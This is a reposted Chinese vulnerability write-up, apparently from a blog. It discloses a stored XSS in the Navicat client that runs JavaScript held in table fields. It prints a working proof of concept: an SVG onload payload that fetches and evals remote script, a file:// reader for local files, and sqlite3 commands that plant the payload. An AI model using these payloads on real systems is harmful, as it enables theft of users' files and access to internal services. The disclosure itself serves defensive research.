Navicat 客戶端存在一個 XSS,在查看錶字段時,沒有對內容進行處理,致使一個 XSS 問題。利用這個漏洞能夠讀取敏感文件,好比 /Users/XXXX/.bash_history 。redis
這兩天在測試一個漏洞數據庫,這個漏洞庫集成了 packetstormsecurity、exploitdb 等知名來源的數據。當咱們用 navicat 打開,查看某個字段的時候,奇怪的事情發生了,竟然有 Javascript 彈窗提示?sql
經過搜索 prompt 關鍵詞,很快定位到了問題數據庫
因此,navicat 在渲染數據庫字段時,莫名其妙的執行了代碼中的 Javascript。vim
爲了方便調試客戶端 XSS,咱們編寫一個最小的 「requirejs」 利用代碼。這段代碼會遠程加載 127.0.0.1/test.js
並執行bash
http://localhost/x#<svg/onload='function reqListener(){eval(this.responseText);}var oReq = new XMLHttpRequest();oReq.addEventListener("load", reqListener);oReq.open("GET", "http://127.0.0.1/test.js?_="+new Date());oReq.send();'>
下面編寫 test.js
,以讀取沙箱外面的文件爲例(注意替換 Users/USERNAME/.vimrc
爲你要讀取的文件)xss
function reqListener () {
prompt(this.responseText);
}
var oReq = new XMLHttpRequest();
oReq.addEventListener("load", reqListener); oReq.open("GET", "file:///Users/USERNAME/.vimrc"); oReq.send();
而後來建立 SQLite 數據庫,並用 Navicat 打開svg
%> sqlite3 test.db
SQLite version 3.19.3 2017-06-27 16:48:08 Enter ".help" for usage hints. sqlite> create table test(id text); sqlite> insert into test values('http://localhost/x#<svg/onload=''function reqListener(){eval(this.responseText);}var oReq = new XMLHttpRequest();oReq.addEventListener("load", reqListener);oReq.open("GET", "http://127.0.0.1/test.js?_="+new Date());oReq.send();''>');
通過測試,利用這個漏洞讀取用戶文件、內網代理、訪問開發機上的 redis 等等都是能夠的,具備必定的危害requirejs
筆者製做了一個最小的測試庫 「navicat-clientxss-test.db」,在這裏下載:https://rasp.baidu.com/download/測試
轉自:http://www.3xmq.com/article/1514942883329?r=woshipm&from=timelineui